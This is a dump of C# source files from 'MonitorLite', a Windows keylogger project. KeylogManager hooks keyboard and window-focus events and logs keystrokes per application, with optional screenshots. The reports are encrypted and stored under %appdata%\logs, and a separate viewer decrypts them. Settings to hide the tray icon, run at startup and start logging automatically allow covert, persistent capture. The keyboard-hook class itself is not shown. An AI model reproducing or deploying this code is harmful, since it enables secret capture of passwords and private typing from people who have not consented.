12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MonitorLiteCommon", "MonitorLiteCommon\MonitorLiteCommon.csproj", "{D6EEF8FC-27E8-49F9-82C9-9B667B22594E}"
13 | EndProject
14 | Global
15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
16 | Debug|Any CPU = Debug|Any CPU
17 | Release|Any CPU = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
20 | {71D29361-F23D-4B7A-9F73-72BC11D364D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {71D29361-F23D-4B7A-9F73-72BC11D364D4}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {71D29361-F23D-4B7A-9F73-72BC11D364D4}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {71D29361-F23D-4B7A-9F73-72BC11D364D4}.Release|Any CPU.Build.0 = Release|Any CPU
24 | {0AD0DC7F-8F8D-42DA-9C0C-C6791BEF31BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
25 | {0AD0DC7F-8F8D-42DA-9C0C-C6791BEF31BE}.Debug|Any CPU.Build.0 = Debug|Any CPU
26 | {0AD0DC7F-8F8D-42DA-9C0C-C6791BEF31BE}.Release|Any CPU.ActiveCfg = Release|Any CPU
27 | {0AD0DC7F-8F8D-42DA-9C0C-C6791BEF31BE}.Release|Any CPU.Build.0 = Release|Any CPU
28 | {EB5FC013-FC2D-4373-827E-43C722FDC7B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
29 | {EB5FC013-FC2D-4373-827E-43C722FDC7B9}.Debug|Any CPU.Build.0 = Debug|Any CPU
30 | {EB5FC013-FC2D-4373-827E-43C722FDC7B9}.Release|Any CPU.ActiveCfg = Release|Any CPU
31 | {EB5FC013-FC2D-4373-827E-43C722FDC7B9}.Release|Any CPU.Build.0 = Release|Any CPU
32 | {D6EEF8FC-27E8-49F9-82C9-9B667B22594E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
33 | {D6EEF8FC-27E8-49F9-82C9-9B667B22594E}.Debug|Any CPU.Build.0 = Debug|Any CPU
34 | {D6EEF8FC-27E8-49F9-82C9-9B667B22594E}.Release|Any CPU.ActiveCfg = Release|Any CPU
35 | {D6EEF8FC-27E8-49F9-82C9-9B667B22594E}.Release|Any CPU.Build.0 = Release|Any CPU
36 | EndGlobalSection
37 | GlobalSection(SolutionProperties) = preSolution
38 | HideSolutionNode = FALSE
39 | EndGlobalSection
40 | EndGlobal
41 |
--------------------------------------------------------------------------------
/MonitorLiteCore/WindowChangeMonitor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading;
7 |
8 | namespace MonitorLiteCore
9 | {
10 | class WindowChangeMonitor
11 | {
12 | private GCHandle _keyHookDelegate;
13 | private IntPtr _keyHook;
14 |
15 | public bool Installed { get { return _keyHookDelegate == null ? false : _keyHookDelegate.IsAllocated; } }
16 |
17 | public event EventHandler OnWindowChangeEvent;
18 |
19 | public void Install()
20 | {
21 | if (Installed)
22 | return;
23 |
24 | NativeMethods.WinEventProc callback = new NativeMethods.WinEventProc(EventProcessor);
25 | _keyHookDelegate = GCHandle.Alloc(callback);
26 |
27 | _keyHook = NativeMethods.SetWinEventHook(3, 32780, IntPtr.Zero, callback, 0, 0, 0);
28 |
29 | if (_keyHook == IntPtr.Zero) throw new Win32Exception("H");
30 |
31 | IntPtr currentForegroundWindow = NativeMethods.GetForegroundWindow();
32 |
33 | new Thread(new ThreadStart(() => { OnWindowChangeEvent?.Invoke(this, new WindowChangeMonitorEventArgs(currentForegroundWindow)); })).Start();
34 |
35 | // InvokeFocusChange(currentForegroundWindow, NativeHelpers.GetTitleFromHandle(currentForegroundWindow), NativeHelpers.GetProcessFromWindowHandle(currentForegroundWindow));
36 |
37 | //OnWindowFocus.BeginInvoke(currentForegroundWindow, Utilities.GetTitleFromHandle(currentForegroundWindow),
38 | // Utilities.GetProcessFromWindowHandle(currentForegroundWindow), null, null);
39 | }
40 |
41 | public void Unistall()
42 | {
43 | if (!Installed)
44 | return;
45 |
46 | NativeMethods.UnhookWinEvent(_keyHook);
47 | _keyHook = IntPtr.Zero;
48 | _keyHookDelegate.Free();
49 | }
50 |
51 | private void EventProcessor(IntPtr hWinEventHook, uint eventId, IntPtr hWnd, long idObject, long idChild, uint dwEventThread, uint dwmsEventTime)
52 | {
53 | // if (idObject != 0 || idChild != 0) return;
54 |
55 | if (hWnd == IntPtr.Zero) return;
56 |
57 | if (eventId != 3) return;
58 |
59 | if (!NativeMethods.IsTopLevelWindow(hWnd)) return;
60 |
61 | new Thread(new ThreadStart(() => { OnWindowChangeEvent?.Invoke(this, new WindowChangeMonitorEventArgs(hWnd)); })).Start();
62 |
63 |
64 | //InvokeFocusChange(hWnd, NativeMethods.GetTitleFromHandle(hWnd), NativeMethods.GetProcessFromWindowHandle(hWnd));
65 |
66 |
67 |
68 |
69 | }
70 |
71 | }
72 | }
73 |
--------------------------------------------------------------------------------
/MonitorLiteCore/KeylogManager.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCommon;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Text;
5 | using System.Threading;
6 | using System.Windows.Forms;
7 |
8 | namespace MonitorLiteCore
9 | {
10 | static class KeylogManager
11 | {
12 | private static WindowChangeMonitor windowChangeMonitor;
13 | private static KeyboardMonitor keyboardMonitor;
14 |
15 |
16 | private static Keylog _currentKeylog;
17 | private static Lock _currentKeylogLock;
18 |
19 | public static int MaxLogSize { get; set; }
20 |
21 | public static void Initialize()
22 | {
23 |
24 | _currentKeylogLock = Lock.Create();
25 |
26 | keyboardMonitor = new KeyboardMonitor();
27 | windowChangeMonitor = new WindowChangeMonitor();
28 |
29 | keyboardMonitor.OnKeyboardEvent += KeyboardMonitor_OnKeyboardEvent;
30 | windowChangeMonitor.OnWindowChangeEvent += WindowChangeMonitor_OnWindowChangeEvent;
31 |
32 |
33 |
34 |
35 | }
36 |
37 |
38 |
39 | private static void WindowChangeMonitor_OnWindowChangeEvent(object sender, WindowChangeMonitorEventArgs e)
40 | {
41 | _currentKeylogLock.EnterReadLock();
42 | if(_currentKeylog != null)
43 | {
44 | ReportManager.AppendToReport(_currentKeylog);
45 | }
46 | _currentKeylog = Keylog.Create(e);
47 | _currentKeylogLock.ExitReadLock();
48 |
49 | }
50 |
51 | private static void KeyboardMonitor_OnKeyboardEvent(object sender, KeyboardMonitorEventArgs e)
52 | {
53 | _currentKeylogLock.EnterWriteLock();
54 |
55 | if (_currentKeylog == null)
56 | {
57 | return;
58 | }
59 |
60 | _currentKeylog.AppendKeyboardEvent(e);
61 | _currentKeylogLock.ExitWriteLock();
62 | //CurrentKeyLog.AppendKeyboardEvent(e);
63 | }
64 |
65 | public static Thread Start()
66 | {
67 | Thread t = new Thread(new ThreadStart(start));
68 | t.TrySetApartmentState(ApartmentState.STA);
69 | t.Start();
70 | return t;
71 | }
72 |
73 | private static void start()
74 | {
75 | try
76 | {
77 | windowChangeMonitor.Install();
78 | keyboardMonitor.Install();
79 | Application.Run();
80 | }
81 | catch(ThreadAbortException tae)
82 | {
83 | keyboardMonitor.Unistall();
84 | windowChangeMonitor.Unistall();
85 | }
86 | }
87 |
88 | public static void Stop(Thread t)
89 | {
90 | t.Abort();
91 | ReportManager.AppendToReport(null);
92 |
93 | }
94 | }
95 | }
96 |
--------------------------------------------------------------------------------
/MonitorLite/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace MonitorLiteUi.Properties
12 | {
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Returns the cached ResourceManager instance used by this class.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("MonitorLite.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Overrides the current thread's CurrentUICulture property for all
56 | /// resource lookups using this strongly typed resource class.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace MonitorLiteCore.Properties
12 | {
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Returns the cached ResourceManager instance used by this class.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("MonitorLiteCore.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Overrides the current thread's CurrentUICulture property for all
56 | /// resource lookups using this strongly typed resource class.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace MonitorLiteViewer.Properties
12 | {
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Returns the cached ResourceManager instance used by this class.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("MonitorLiteViewer.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Overrides the current thread's CurrentUICulture property for all
56 | /// resource lookups using this strongly typed resource class.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/MonitorLiteCore/MonitorSettings.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Text;
5 |
6 | namespace MonitorLiteCore
7 | {
8 | public class MonitorSettings
9 | {
10 | internal MonitorSettings()
11 | {
12 | this.StartLoggingOnStartup = false;
13 | this.StartOnStartup = false;
14 | this.StartMinimized = false;
15 | this.MinimizeToTray = false;
16 | this.HideTrayIcon = false;
17 | this.Hotkey = 'M';
18 | this.ReportExtension = ".prv";
19 | this.ReportStoragePath = @"%appdata%\logs\";
20 | this.PublicKey = string.Empty;
21 | this.MaxLogSize = 5;
22 | }
23 |
24 | internal MonitorSettings(byte[] data)
25 | {
26 | using(MemoryStream ms = new MemoryStream(data))
27 | {
28 | using(BinaryReader br = new BinaryReader(ms, Encoding.UTF8))
29 | {
30 | StartLoggingOnStartup = br.ReadBoolean();
31 | PublicKey = br.ReadString();
32 | StartOnStartup = br.ReadBoolean();
33 | StartMinimized = br.ReadBoolean();
34 | MinimizeToTray = br.ReadBoolean();
35 | HideTrayIcon = br.ReadBoolean();
36 | Hotkey = br.ReadChar();
37 | ReportStoragePath = br.ReadString();
38 | ReportExtension = br.ReadString();
39 | MaxLogSize = br.ReadInt32();
40 | TakeScreenshots = br.ReadBoolean();
41 | }
42 | }
43 | }
44 |
45 |
46 | public bool StartLoggingOnStartup { get; set; }
47 | public string PublicKey { get; set; }
48 |
49 | public bool StartOnStartup { get; set; }
50 | public bool StartMinimized { get; set; }
51 | public bool MinimizeToTray { get; set; }
52 | public bool HideTrayIcon { get; set; }
53 | public char Hotkey { get; set; }
54 | public string ReportStoragePath { get; set; }
55 | public string ReportExtension { get; set;}
56 | public bool TakeScreenshots { get; set; }
57 | public int MaxLogSize { get; set; }
58 |
59 | internal byte[] Export()
60 | {
61 | using(MemoryStream ms = new MemoryStream())
62 | {
63 | using(BinaryWriter bw = new BinaryWriter(ms,Encoding.UTF8))
64 | {
65 | bw.Write(StartLoggingOnStartup);
66 | bw.Write(PublicKey);
67 | bw.Write(StartOnStartup);
68 | bw.Write(StartMinimized);
69 | bw.Write(MinimizeToTray);
70 | bw.Write(HideTrayIcon);
71 | bw.Write(Hotkey);
72 | bw.Write(ReportStoragePath);
73 | bw.Write(ReportExtension);
74 | bw.Write(MaxLogSize);
75 | bw.Write(TakeScreenshots);
76 | }
77 | return ms.ToArray();
78 | }
79 | }
80 |
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/MonitorLiteCommon/Report.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Drawing;
4 | using System.IO;
5 | using System.Text;
6 |
7 | namespace MonitorLiteCommon
8 | {
9 | public class Report
10 | {
11 | public const byte REPORT_TEXT = 0;
12 | public const byte REPORT_IMAGE = 1;
13 |
14 | public string Title { get; private set; }
15 | public DateTime Date { get; private set; }
16 | public byte ContentType { get; private set; }
17 | public byte[] Content { get; private set; }
18 |
19 | public string ToText()
20 | {
21 | if (ContentType != REPORT_TEXT)
22 | throw new Exception();
23 |
24 | return Encoding.UTF8.GetString(Content);
25 | }
26 |
27 | public Image ToImage()
28 | {
29 | if (ContentType != REPORT_IMAGE)
30 | throw new Exception();
31 |
32 | using(MemoryStream ms = new MemoryStream(Content))
33 | {
34 | return Image.FromStream(ms, false, true);
35 | }
36 | }
37 |
38 | private Report(byte contentType)
39 | {
40 | ContentType = contentType;
41 | Title = "";
42 | Date = DateTime.Now;
43 |
44 | }
45 |
46 | public static Report CreateTextReport(string title,string text)
47 | {
48 | Report r = new Report(0);
49 | r.Title = title;
50 | r.Content = Encoding.UTF8.GetBytes(text);
51 | return r;
52 | }
53 |
54 | public static Report CreateImageReport(string title,Image image)
55 | {
56 | Report r = new Report(1);
57 | r.Title = title;
58 | using(MemoryStream ms = new MemoryStream())
59 | {
60 | image.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
61 | r.Content = ms.ToArray();
62 | }
63 | return r;
64 | }
65 |
66 | public static byte[] SerializeReport(Report r)
67 | {
68 | using(MemoryStream ms = new MemoryStream())
69 | {
70 | using(BinaryWriter bw = new BinaryWriter(ms,Encoding.UTF8))
71 | {
72 | bw.Write(r.ContentType);
73 | bw.Write(r.Date.ToBinary());
74 | bw.Write(r.Title);
75 |
76 | bw.Write(r.Content.Length);
77 | bw.Write(r.Content);
78 | }
79 | return ms.ToArray();
80 | }
81 | }
82 |
83 | public static Report DeserializeReport(byte[] data)
84 | {
85 | using(MemoryStream ms = new MemoryStream(data))
86 | {
87 | using(BinaryReader br = new BinaryReader(ms, Encoding.UTF8))
88 | {
89 | Report r = new Report(br.ReadByte());
90 | r.Date = DateTime.FromBinary(br.ReadInt64());
91 | r.Title = br.ReadString();
92 | r.Content = br.ReadBytes(br.ReadInt32());
93 | return r;
94 | }
95 | }
96 | }
97 |
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/MonitorLiteCore/MonitorLite.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCommon;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Text;
6 | using System.Threading;
7 | using System.Windows.Forms;
8 |
9 | namespace MonitorLiteCore
10 | {
11 |
12 | public class MonitorLite
13 | {
14 | private bool _closed = false;
15 | private int _status;
16 |
17 | public int Status { get { return _status; } private set { CheckClose(); _status = value; OnStatusChange?.Invoke(this, EventArgs.Empty); } }
18 | public bool Enabled { get { return Status == 1; } private set { Status = value ? 1 : 0; } }
19 | public string StatusMessage { get { return Helpers.ConvertStatus(Status); } }
20 | public MonitorSettings Settings { get; private set; }
21 |
22 | public event EventHandler OnStatusChange;
23 |
24 |
25 | private Thread keylogThread;
26 |
27 |
28 |
29 | internal MonitorLite(MonitorSettings settings)
30 | {
31 | this.Settings = settings;
32 | ReportManager.MaxReportSize = settings.MaxLogSize;
33 |
34 | if (!Initialize())
35 | {
36 | throw new Exception("Failed to initialize");
37 | }
38 | }
39 |
40 |
41 | internal void OnReport(object sender, ReportManagerEventArgs e)
42 | {
43 | CheckClose();
44 |
45 |
46 |
47 | Report r = e.Report;
48 |
49 | WriteReport(r);
50 |
51 | if (Settings.TakeScreenshots)
52 | {
53 | Report screen_r = Report.CreateImageReport("Screenshot", Helpers.TakeScreenshot());
54 | WriteReport(screen_r);
55 | }
56 |
57 |
58 | }
59 |
60 | private void WriteReport(Report r)
61 | {
62 | byte[] reportData = Helpers.EncryptReport(r, Settings.PublicKey);
63 |
64 | string reportName = string.Format("{0}{1}", Guid.NewGuid().ToString("N"), Settings.ReportExtension);
65 |
66 | string reportPath = Environment.ExpandEnvironmentVariables(Settings.ReportStoragePath);
67 |
68 | if (!Directory.Exists(reportPath))
69 | Directory.CreateDirectory(reportPath).Refresh();
70 |
71 | reportPath = Path.Combine(reportPath, reportName);
72 |
73 | File.WriteAllBytes(reportPath, reportData);
74 | }
75 |
76 | public void Start()
77 | {
78 | CheckClose();
79 |
80 | if (Enabled)
81 | return;
82 |
83 | keylogThread = KeylogManager.Start();
84 |
85 | Enabled = true;
86 |
87 | }
88 |
89 | public void Stop()
90 | {
91 | CheckClose();
92 |
93 | if (!Enabled)
94 | return;
95 |
96 | KeylogManager.Stop(keylogThread);
97 |
98 | Enabled = false;
99 |
100 | }
101 |
102 | public void Close()
103 | {
104 | CheckClose();
105 |
106 | Stop();
107 | ReportManager.OnReport -= OnReport;
108 | _closed = true;
109 | }
110 |
111 | private void CheckClose()
112 | {
113 | if (_closed)
114 | throw new ObjectDisposedException(this.ToString());
115 | }
116 |
117 | private bool Initialize()
118 | {
119 |
120 | if (this.Settings.StartOnStartup)
121 | {
122 | Helpers.SetStartup(typeof(MonitorLite).Assembly.GetName().Name);
123 | }
124 |
125 |
126 |
127 |
128 | if (this.Settings.StartLoggingOnStartup)
129 | {
130 | this.Start();
131 | }
132 |
133 | return true;
134 | }
135 |
136 |
137 |
138 |
139 |
140 | }
141 | }
142 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/MonitorLiteViewer.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {EB5FC013-FC2D-4373-827E-43C722FDC7B9}
8 | Library
9 | Properties
10 | MonitorLiteViewer
11 | MonitorLiteViewer
12 | v2.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | Component
48 |
49 |
50 |
51 |
52 | Form
53 |
54 |
55 | LogViewerForm.cs
56 |
57 |
58 |
59 | LogViewerForm.cs
60 |
61 |
62 | ResXFileCodeGenerator
63 | Resources.Designer.cs
64 | Designer
65 |
66 |
67 | True
68 | Resources.resx
69 |
70 |
71 | SettingsSingleFileGenerator
72 | Settings.Designer.cs
73 |
74 |
75 | True
76 | Settings.settings
77 | True
78 |
79 |
80 |
81 |
82 | {d6eef8fc-27e8-49f9-82c9-9b667b22594e}
83 | MonitorLiteCommon
84 |
85 |
86 |
87 |
94 |
--------------------------------------------------------------------------------
/MonitorLiteCore/MonitorLiteCore.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {0AD0DC7F-8F8D-42DA-9C0C-C6791BEF31BE}
8 | Library
9 | Properties
10 | MonitorLiteCore
11 | MonitorLiteCore
12 | v2.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | ResXFileCodeGenerator
63 | Resources.Designer.cs
64 | Designer
65 |
66 |
67 | True
68 | Resources.resx
69 |
70 |
71 | SettingsSingleFileGenerator
72 | Settings.Designer.cs
73 |
74 |
75 | True
76 | Settings.settings
77 | True
78 |
79 |
80 |
81 |
82 | {d6eef8fc-27e8-49f9-82c9-9b667b22594e}
83 | MonitorLiteCommon
84 |
85 |
86 |
87 |
94 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/LogViewerForm.cs:
--------------------------------------------------------------------------------
1 | using MonitorLiteCommon;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.ComponentModel;
5 | using System.Data;
6 | using System.Drawing;
7 | using System.IO;
8 | using System.Text;
9 | using System.Threading;
10 | using System.Windows.Forms;
11 |
12 | namespace MonitorLiteViewer
13 | {
14 | partial class LogViewerForm : Form
15 | {
16 | private string LogFolder { get; set; }
17 | private string LogExtension { get; set; }
18 |
19 | public LogViewerForm(string logsFolder, string logsExt)
20 | {
21 |
22 | LogFolder = logsFolder;
23 | LogExtension = logsExt;
24 |
25 | InitializeComponent();
26 | this.tabControl1.SelectedIndexChanged += TabControl1_SelectedIndexChanged;
27 | PopulateLogList();
28 | }
29 |
30 | private void PopulateLogList()
31 | {
32 | string privKey;
33 | if (!TryGetPrivateKey(out privKey))
34 | return;
35 | new Thread(new ThreadStart(() =>
36 | {
37 | PopulateLogListBack(privKey);
38 | })).Start();
39 | }
40 |
41 | private void PopulateLogListBack(string privKey)
42 | {
43 |
44 | if (this.InvokeRequired)
45 | {
46 | this.Invoke(new MethodInvoker(() => { betterListView1.SuspendLayout();
47 | betterListView1.Items.Clear();
48 |
49 |
50 | }));
51 | }
52 | else
53 | {
54 | betterListView1.SuspendLayout();
55 | betterListView1.Items.Clear();
56 | }
57 |
58 |
59 |
60 | foreach (string file in Directory.GetFiles(Environment.ExpandEnvironmentVariables(LogFolder), string.Format("*{0}", LogExtension)))
61 | {
62 | try
63 | {
64 | byte[] fileData = File.ReadAllBytes(file);
65 |
66 | Report r = Helpers.DecryptReport(fileData, privKey);
67 |
68 | ListViewItem item = new ListViewItem(new string[] { r.Date.ToString(), r.Title });
69 | item.Tag = file;
70 |
71 | if (this.InvokeRequired)
72 | {
73 | this.Invoke(new MethodInvoker(() => { betterListView1.Items.Add(item); }));
74 | }
75 | else
76 | {
77 | betterListView1.Items.Add(item);
78 | }
79 | }
80 | catch
81 | {
82 |
83 | }
84 | }
85 |
86 | if (this.InvokeRequired)
87 | {
88 | this.Invoke(new MethodInvoker(() => { betterListView1.ResumeLayout(); }));
89 | }
90 | else
91 | {
92 | betterListView1.ResumeLayout();
93 | }
94 |
95 | }
96 |
97 | private void TabControl1_SelectedIndexChanged(object sender, EventArgs e)
98 | {
99 | if (tabControl1.SelectedTab.Tag as string == "VIEW")
100 | {
101 | PopulateLogList();
102 |
103 | }
104 | }
105 |
106 | private bool TryGetPrivateKey(out string privateKey)
107 | {
108 | privateKey = null;
109 | if (string.IsNullOrEmpty(textBox1.Text))
110 | return false;
111 |
112 | privateKey = textBox1.Text;
113 | return true;
114 | }
115 |
116 | private void betterListView1_SelectedIndexChanged(object sender, EventArgs e)
117 | {
118 | string privKey;
119 | if (!TryGetPrivateKey(out privKey))
120 | return;
121 |
122 | foreach(ListViewItem item in betterListView1.SelectedItems)
123 | {
124 | string filePath = item.Tag as string;
125 | if (!File.Exists(filePath))
126 | continue;
127 |
128 | byte[] fileData = File.ReadAllBytes(filePath);
129 |
130 | Report report = Helpers.DecryptReport(fileData, privKey);
131 |
132 | webBrowser1.DocumentText = Helpers.ReportToHtml(report);
133 | }
134 | }
135 | }
136 |
137 |
138 | }
139 |
--------------------------------------------------------------------------------
/MonitorLite/MonitorLiteUi.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {71D29361-F23D-4B7A-9F73-72BC11D364D4}
8 | WinExe
9 | Properties
10 | MonitorLite
11 | MonitorLite
12 | v2.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 | false
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 | Icons-Land-Vista-Hardware-Devices-Security-Camera.ico
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | Form
49 |
50 |
51 | Form1.cs
52 |
53 |
54 |
55 |
56 | Form1.cs
57 |
58 |
59 | ResXFileCodeGenerator
60 | Resources.Designer.cs
61 | Designer
62 |
63 |
64 | True
65 | Resources.resx
66 |
67 |
68 | SettingsSingleFileGenerator
69 | Settings.Designer.cs
70 |
71 |
72 | True
73 | Settings.settings
74 | True
75 |
76 |
77 |
78 |
79 | {d6eef8fc-27e8-49f9-82c9-9b667b22594e}
80 | MonitorLiteCommon
81 |
82 |
83 | {0ad0dc7f-8f8d-42da-9c0c-c6791bef31be}
84 | MonitorLiteCore
85 |
86 |
87 | {eb5fc013-fc2d-4373-827e-43c722fdc7b9}
